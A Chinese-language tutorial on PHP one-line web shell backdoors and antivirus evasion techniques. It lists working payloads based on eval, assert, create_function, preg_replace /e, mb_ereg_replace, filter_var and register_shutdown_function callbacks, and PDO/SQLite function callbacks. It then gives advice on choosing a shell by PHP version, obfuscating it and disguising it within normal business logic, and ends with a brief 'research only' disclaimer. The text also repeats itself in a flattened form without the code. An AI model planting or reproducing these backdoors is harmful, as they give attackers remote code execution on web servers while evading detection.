php一句话后门学习(含免杀)
字数 842 2025-08-15 21:34:01

PHP一句话后门技术分析与免杀方法

一、基础一句话后门

1. eval和assert函数

<?php @eval($_POST['a']); ?>
<?php @assert($_POST['a']); ?>

特点

  • eval和assert在PHP5和PHP7中均可使用
  • PHP7中assert不能拆分使用
  • 传统且直接,但容易被检测

2. create_function函数

<?php $st=@create_function('',$_POST['a']);$st();?>

原理

  • 创建一个匿名函数,内部相当于执行eval
  • PHP5和PHP7都可用

3. preg_replace函数(仅限PHP5)

<?php @preg_replace('/.*/e',$_POST['a'],'');?>
<?php @preg_filter('/.*/e',$_POST['a'],'');?>

特点

  • 使用/e修饰符执行代码
  • 仅适用于PHP5环境

二、PHP7替代方案

1. mb_ereg_replace系列函数

<?php @mb_ereg_replace('.*',$_POST['a'],'','ee');?>
<?php @mb_eregi_replace('.*',$_POST['a'],'','ee');?>
<?php @mbereg_replace('.*',$_POST['a'],'','ee');?>
<?php @mberegi_replace('.*',$_POST['a'],'','ee');?>

特点

  • PHP7中仍可使用的/e修饰符替代方案
  • mb_ereg_replace和mb_eregi_replace是主函数
  • mbereg_replace和mberegi_replace是别名

三、免杀技术

1. 类封装方法

<?php
class create{
    public $filter = ['q'=>'_function'];
    public $value = '';
    public function __construct(){
        $this->value = $_POST['a'];
        $name=get_class($this).$this->filter['q'];
        $st=$name('',$this->value);
        $st();
    }
}
$a = new create();
?>

适用版本

  • PHP5.4.45至PHP7可用
  • PHP5.3.29和5.2.17不可用
  • PHP5建议使用assert拆分,PHP7建议使用create_function拆分

2. 回调函数技术

基础回调

<?php $_GET['a']($_GET['b']);?>

call_user_func系列

<?php call_user_func('assert', $_REQUEST['pass']); ?>
<?php call_user_func_array('assert', array($_REQUEST['pass'])); ?>

高级免杀回调

<?php filter_var($_REQUEST['pass'], FILTER_CALLBACK, array('options' => 'assert')); ?>
<?php filter_var_array(array('test' => $_REQUEST['pass']), array('test' => array('filter' => FILTER_CALLBACK, 'options' => 'assert'))); ?>
<?php $e = $_REQUEST['e']; register_shutdown_function($e, $_REQUEST['pass']); ?>

数据库扩展回调

PDO方式

<?php
$e = $_REQUEST['e'];
$db = new PDO('sqlite:sqlite.db3');
$db->sqliteCreateFunction('myfunc', $e, 1);
$sth = $db->prepare("SELECT myfunc(:exec)");
$sth->execute(array(':exec' => $_REQUEST['pass']));
?>

SQLite3方式

<?php
$e = $_REQUEST['e'];
$db = new SQLite3('sqlite.db3');
$db->createFunction('myfunc', $e);
$stmt = $db->prepare("SELECT myfunc(?)");
$stmt->bindValue(1, $_REQUEST['pass'], SQLITE3_TEXT);
$stmt->execute();
?>

要求

  • PHP5.3以上版本
  • 需要PDO或SQLite3扩展支持

四、使用建议

  1. 版本适配

    • PHP5环境:优先使用preg_replace/e或assert拆分
    • PHP7环境:使用create_function或mb_ereg_replace系列
  2. 免杀策略

    • 使用类封装提高混淆度
    • 优先使用回调函数方式
    • 考虑使用数据库扩展方式增加检测难度
  3. 隐蔽性

    • 避免直接使用eval/assert
    • 使用变量传递函数名
    • 结合正常业务逻辑进行伪装
  4. 连接方式

    • 传统方式:$_POST['a']作为代码执行
    • 回调方式:通常需要两个参数,一个指定函数,一个传递代码

以上技术仅供安全研究使用,请勿用于非法用途。

PHP一句话后门技术分析与免杀方法 一、基础一句话后门 1. eval和assert函数 特点 : eval和assert在PHP5和PHP7中均可使用 PHP7中assert不能拆分使用 传统且直接,但容易被检测 2. create_ function函数 原理 : 创建一个匿名函数,内部相当于执行eval PHP5和PHP7都可用 3. preg_ replace函数(仅限PHP5) 特点 : 使用/e修饰符执行代码 仅适用于PHP5环境 二、PHP7替代方案 1. mb_ ereg_ replace系列函数 特点 : PHP7中仍可使用的/e修饰符替代方案 mb_ ereg_ replace和mb_ eregi_ replace是主函数 mbereg_ replace和mberegi_ replace是别名 三、免杀技术 1. 类封装方法 适用版本 : PHP5.4.45至PHP7可用 PHP5.3.29和5.2.17不可用 PHP5建议使用assert拆分,PHP7建议使用create_ function拆分 2. 回调函数技术 基础回调 call_ user_ func系列 高级免杀回调 数据库扩展回调 PDO方式 : SQLite3方式 : 要求 : PHP5.3以上版本 需要PDO或SQLite3扩展支持 四、使用建议 版本适配 : PHP5环境:优先使用preg_ replace/e或assert拆分 PHP7环境:使用create_ function或mb_ ereg_ replace系列 免杀策略 : 使用类封装提高混淆度 优先使用回调函数方式 考虑使用数据库扩展方式增加检测难度 隐蔽性 : 避免直接使用eval/assert 使用变量传递函数名 结合正常业务逻辑进行伪装 连接方式 : 传统方式: $_POST['a'] 作为代码执行 回调方式:通常需要两个参数,一个指定函数,一个传递代码 以上技术仅供安全研究使用,请勿用于非法用途。